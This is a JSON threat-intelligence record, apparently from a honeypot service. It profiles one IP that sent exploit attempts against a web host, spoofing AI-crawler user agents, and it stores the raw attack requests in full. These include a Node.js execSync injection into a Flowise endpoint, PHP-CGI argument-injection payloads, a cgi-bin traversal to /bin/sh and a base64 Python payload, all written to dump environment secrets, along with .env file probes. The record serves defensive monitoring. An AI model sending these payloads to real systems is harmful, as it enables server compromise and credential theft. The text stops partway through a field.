{"ip":"35.221.64.237","total_events":210,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"96 exploit-path hits","confidence":"high","network_type":null,"why":["96 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,650,907 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,650,907 bytes sent","bytes_sent":1650907,"session_seconds":26,"persistent":false}},"first_seen":"2026-09-29T17:56:32","last_seen":"2026-09-29T17:56:59","events_24h":210,"events_7d":210,"geo":{"country_code":"JP","country_name":"Japan","region":"Tokyo","city":"Tokyo","lat":35.6893,"lon":139.6899,"asn":396982,"org":"Google LLC"},"source_domain":"237.64.221.35.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2019-11248","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":210}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106bb010006b70303a23abf71723b803e8f8d31a69df2eaa004ff6af2ed7adb8cd8532e61264e0a99204f79d1687ca8376cb30db921eda54243444b3c663c494278f4dfda34ad1d5dc50020fafa130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100064e1a1a0000000500050100000000fe0d00ba00000100015c00201d33fdc86cd45454ec8b9cd8cc41f5a0e13929969431f25d37656a18a6798904009022e66d0879eb86ae36339b4548b581fd738d28c0ceff405b827ce012819cce7a01d4d7adc9d83ce82bc648e81cd239c1eabb50cdb6fd543cc6f5f0821bf34c70d11c59c25328010f5a475679b35380406410c68a99d73af8eaa4867162ce7016578f2d0d1290d37e7232e773284006064f2c9c99784e261d9a90392fc313e2f0c4a633844268575827273df8778de8fdff0100010000000017001500001273697465732e7072696e636875622e636f6d000a000c000adada11ec001d00170018002300000012000000170000000d0012001004030804040105030805050108060601003304ef04eddada00010011ec04c037451e1fcb5e556c064a80acc3ba7ba775ccd615266fa713b824a20b62c51f2b29904b22206038f77391cc827827f6bc071b3f1cf6be651c3ff0a9761d41bc64d17b0634227bc356734836d6613f9021abd9dc61bcb903c6e300abf265d15ab9718720832544ba4479e5154066832093342905a6171e5a6d49cb99fea40e4d3930f92260a2c03850b57782c9757760413ad8aebf2a2fb7956f0b31b7a81775a2278a8eb772f8ccc09eea4fe56c966b621911e6a511eb99e8d89112d9c586c203518224f0f429c6731cbbd463f0e27609aa3e9dc64525eabdc5696418d900380b61fbc7a17ed061dabb63b4153c72dc658cb4c4fde793d49172f65ab58046ba1ff71e92715d645c0de845baefeccc1b790da8c577c3d229682600f65771fe989055524e3772b96a6108e04534b4bc8d651c9839a0b43803469e707ee3e8c43ab76c251b29c0d21b9ab9aecba85b0e714c6f4a837c0763463725b8ec4f2a3036809a6c80996ff95a0fbac58f06c3ca7d92b95996309bf087efd71330577f08d50b79c250f7a62595db4150c8b53028b6f0e8a04620aaa3b20d78e17e74a37b25507150a282d118b3d90b25ecd609c2526d70c518a84ab17a9c5c31d66d7e946dbde6b0bbe2973fb84b8c262c5ec335dab4760593819ae619ec15ab338c0e6786cada870bbb3134b820a16e29ca5a67af24d15a6e460f1ed1a63ccb5da966aa5cbb420f5b492d1a29e7415678295397db9212b18afc17bba921a39384a1e4da3d23d7be36732d16fcce60f27817fcbec8c26911da70ad6ac7454a16aa1a1990fb693b7ac9fe397f16f89ac045435e5b7c1f6bc6922b8bc6c8cef59c53e2979970dba05935c445a78c10b35ec51a49b10653ef3c9f1e2a8201a7b7cdcc76d382a2259b343ca481b9f377d36b4a3a952c98462f76b4400341cb47661f32db248809750d077859f9bb6f995605446ed1f63ae64604ea162052d9469a484731614ac9cb23cb1305e5e59fec022625c048b752502125cd09d19e612cc6b1962f59aa23a3abcb7b6cce010a258b801c846b9fbcc92755d9711ad868c55b83d78870a17620288196c6dc441e34be88bb61d2a21d506908fb4aa1c49a5889d19e5fa28fd46635ce743fc1623e748618b2f5ccab66cec81a7e1173cb02b89ec9f69b5a4a4053d61376a39dd86805c7cc03cc1cbf7188b45045a32e450e0e6700feda373a8019c84cc6ef73872c0379ee661418359067955887d3aaa61c72188c492d2964fdab83c7a8452fbb92f1b4985d0a2a3e90a78ec02a3d632f0a82178f235c497ab2b6c1372fc09bdc549400483368a19df99aa91e5590c5eb752e2ab485537a98fa5ca40b4c1995cdc92408890cbeded32496274164203554467e13407a7c770b80878456c7a380269d93dbc924c660af141e0e5c6fc8c4458829b73244bea5c553931606c3e987f3d33d36d21a151a07ee4729128aa0040aa14dc902640a03e6ac473e184dbc360c104012c1718c6072277e1cac73a2c9f1905e137a79f1d7434d831a5879cf58b7661120925bcc2089359aa17890a6a44ae44b7b87276b57f0452dfb33e8d1488dfccc70dc4ef88a4a42c257d59b27f0f333da5c59d793ca00a03b4e364ee852191816667aa44a6d9fc3109eb8dff91007d34de69ec6e9ea1d4826bc7f5aedd1ae890d1a2c7c7c65c86488d1316ef2ea87d3c24e3a0634b41c8574001d002042d5c0e2162aa88350e0d4a4a34f7ca04ffbb3d5aea4a908f4bd51dc51c1640b002d00020101001b0003020002000b0002010044cd000500030268320010000e000c02683208687474702f312e31002b000706dada03040303baba0001","tls_ja3":["9e7b0a4df9aa7a41556d556945d70c10","dbd29876a8e41d92797c4413862a05bd","b5bc9a20d0140636f1d2c61736fd840d","a5dbb639c871c8ddce81e88a71d0cdd5","1d7e960e29a25bb294735da666369575"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb","b11cuq050_00050812_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":14,"b11cun062_00040016_84d4cebf_xce00d0f1":10,"b11cun162_000c73fe_fe528c8e_xce00d0f1":10,"b11cuq082_00050816_8184102b_xd0f1e7f3":10,"b11cuq150_10057dde_0ef1dcbb":10,"b11cuq050_00050812_107c8b82":96},"akin_families":{"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":3,"ips":96},"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":3,"ips":96}},"user_agents":["Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)","Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)"],"timeline":[{"date":"2026-09-29","count":210}],"recent_events":[{"timestamp":"2026-09-29T17:56:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":62,"duration_ms":25918,"bytes_in":24118,"bytes_out":4836},{"timestamp":"2026-09-29T17:56:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20476f6f676c652d457874656e6465643b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":63,"duration_ms":26283,"bytes_in":24492,"bytes_out":4914},{"timestamp":"2026-09-29T17:56:58","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"90\",\"content-type\":\"text/plain\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)\"}","body":"echo Content-Type: text/plain; echo; env 2>/dev/null || cat /proc/self/environ 2>/dev/null","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d692d536561726368426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2039300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6563686f20436f6e74656e742d547970653a20746578742f706c61696e3b206563686f3b20656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c","method":"POST","user_agent":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":60,"duration_ms":25081,"bytes_in":23181,"bytes_out":4680},{"timestamp":"2026-09-29T17:56:58","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204272617665626f742f312e303b202b68747470733a2f2f62726176652e636f6d2f7365617263682f290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":61,"duration_ms":25512,"bytes_in":23626,"bytes_out":4758},{"timestamp":"2026-09-29T17:56:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367693f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2048756e7975616e2f312e303b202b68747470733a2f2f68756e7975616e2e74656e63656e742e636f6d2f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":58,"duration_ms":23781,"bytes_in":22483,"bytes_out":4524},{"timestamp":"2026-09-29T17:56:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d69737472616c41492d557365722f312e303b202b68747470733a2f2f6d69737472616c2e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":59,"duration_ms":24168,"bytes_in":22836,"bytes_out":4602},{"timestamp":"2026-09-29T17:56:56","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":57,"duration_ms":23390,"bytes_in":22124,"bytes_out":4446},{"timestamp":"2026-09-29T17:56:55","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f7068702d6367692f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d692d536561726368426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":54,"duration_ms":21892,"bytes_in":21081,"bytes_out":4212},{"timestamp":"2026-09-29T17:56:55","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205969426f742f312e303b202b68747470733a2f2f30312e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":55,"duration_ms":22323,"bytes_in":21431,"bytes_out":4290},{"timestamp":"2026-09-29T17:56:55","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205177656e626f742f312e303b202b68747470733a2f2f7177656e2e616c69626162612e636f6d2f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","ja3":"dbd29876a8e41d92797c4413862a05bd","session":"b095943a-ff84-46f2-8bf8-0dcedf3e9347","seq":56,"duration_ms":22688,"bytes_in":21786,"bytes_out":4368}],"http_methods":[{"method":"GET","count":172},{"method":"POST","count":35},{"method":"DELETE","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/feast/read-document","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/.env.prod.bak","count":1,"ports":1},{"path":"/var/.env","count":1,"ports":1},{"path":"/@fs/proc/self/environ?import&raw??","count":1,"ports":1},{"path":"/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/api/v1/node-load-method/customMCP","count":1,"ports":1},{"path":"/static/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ","count":1,"ports":1},{"path":"/src/amplifyconfiguration.json","count":1,"ports":1},{"path":"/_image?href=/../../../.env","count":1,"ports":1},{"path":"/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/appsettings.Development.json","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":210}],"top_hosts":[{"value":"sites.princhub.com","count":210}],"top_alpns":[{"value":"h2, http/1.1","count":210}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"211","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code 